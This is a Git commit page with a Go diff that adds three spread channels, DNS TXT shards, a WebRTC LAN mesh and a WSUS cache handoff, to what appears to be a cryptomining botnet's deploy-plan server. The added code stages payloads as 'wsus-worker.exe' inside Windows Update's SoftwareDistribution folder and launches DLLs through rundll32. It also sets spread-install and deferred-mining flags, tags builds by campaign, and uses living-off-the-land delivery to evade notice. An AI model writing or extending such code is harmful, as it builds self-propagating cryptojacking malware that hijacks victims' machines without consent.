Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
@@ -28,11 +28,26 @@ type StagingManifest struct {
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
CacheGroup string `json:"cache_group,omitempty"`
|
||||
DNSZone string `json:"dns_zone,omitempty"`
|
||||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
|
||||
type WebRTCMeshPlanBody struct {
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
SignalingRelay string `json:"signaling_relay,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
||||
RotationHours int `json:"rotation_hours,omitempty"`
|
||||
IsSeeder bool `json:"is_seeder,omitempty"`
|
||||
}
|
||||
|
||||
type StagingChunk struct {
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
Record string `json:"record,omitempty"`
|
||||
Index int `json:"index,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
|
||||
@@ -42,6 +57,12 @@ type DeployPlanBody struct {
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
CacheGroup string `json:"cache_group,omitempty"`
|
||||
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
|
||||
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
|
||||
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
|
||||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||||
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
@@ -154,6 +175,30 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.PeerGroup = manifest.PeerGroup
|
||||
case "wsus_cache_peer":
|
||||
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.CacheGroup = manifest.CacheGroup
|
||||
case "dns_txt":
|
||||
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.DNSTXTZone = zone
|
||||
body.DNSTXTRecords = records
|
||||
body.DNSTXTShards = shards
|
||||
body.TTLRefreshSec = ttl
|
||||
case "webrtc_mesh":
|
||||
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
|
||||
if err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
body.Manifest = manifest
|
||||
body.WebRTCMesh = mesh
|
||||
case "bits_curl":
|
||||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||||
if err != nil {
|
||||
@@ -236,6 +281,174 @@ func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL
|
||||
}, nil
|
||||
}
|
||||
|
||||
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
|
||||
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
cacheGroup := "af-wsus-" + hash[:8]
|
||||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||||
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
|
||||
}
|
||||
|
||||
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
return &StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
CacheGroup: cacheGroup,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
|
||||
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, "", nil, nil, 0, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
zone := h.dnsTXTZone()
|
||||
records := []string{
|
||||
"_aether.shard0." + zone,
|
||||
"_aether.shard1." + zone,
|
||||
}
|
||||
shards := []int{0, 1}
|
||||
ttl := 300
|
||||
|
||||
chunks := make([]StagingChunk, len(records))
|
||||
for i, rec := range records {
|
||||
chunks[i] = StagingChunk{
|
||||
Record: rec,
|
||||
Index: shards[i],
|
||||
File: fmt.Sprintf("shard-%d.b64", shards[i]),
|
||||
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
|
||||
}
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
manifest := &StagingManifest{
|
||||
Method: "dns_txt",
|
||||
Chunks: chunks,
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
DNSZone: zone,
|
||||
TTLRefreshSec: ttl,
|
||||
}
|
||||
return manifest, zone, records, shards, ttl, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) dnsTXTZone() string {
|
||||
zone := "internal"
|
||||
if h.allowlist != nil {
|
||||
_ = h.allowlist()
|
||||
}
|
||||
if h.dataDir != "" {
|
||||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
||||
if data, err := os.ReadFile(cfgPath); err == nil {
|
||||
var payload struct {
|
||||
Server struct {
|
||||
DNSZone string `json:"dns_zone"`
|
||||
} `json:"server"`
|
||||
}
|
||||
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
|
||||
zone = strings.TrimSpace(payload.Server.DNSZone)
|
||||
}
|
||||
}
|
||||
}
|
||||
return zone
|
||||
}
|
||||
|
||||
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
|
||||
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
hash, err := fileSHA256(build.FilePath)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("build hash: %w", err)
|
||||
}
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
|
||||
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
|
||||
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
|
||||
}
|
||||
|
||||
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
|
||||
launch := "exe"
|
||||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||||
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
|
||||
launch = "rundll32"
|
||||
}
|
||||
|
||||
manifest := &StagingManifest{
|
||||
Method: "webrtc_mesh",
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
DLLExport: "DllRegisterServer",
|
||||
DeferMining: true,
|
||||
SpreadInstall: true,
|
||||
}
|
||||
mesh := &WebRTCMeshPlanBody{
|
||||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||||
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
|
||||
LANFallbackURL: fallbackURL,
|
||||
SeederAgentID: strings.TrimSpace(req.AgentID),
|
||||
RotationHours: 24,
|
||||
}
|
||||
return manifest, mesh, nil
|
||||
}
|
||||
|
||||
func sanitizeDeployToken(s string) string {
|
||||
s = strings.ToLower(strings.TrimSpace(s))
|
||||
var b strings.Builder
|
||||
|
||||
Reference in New Issue
Block a user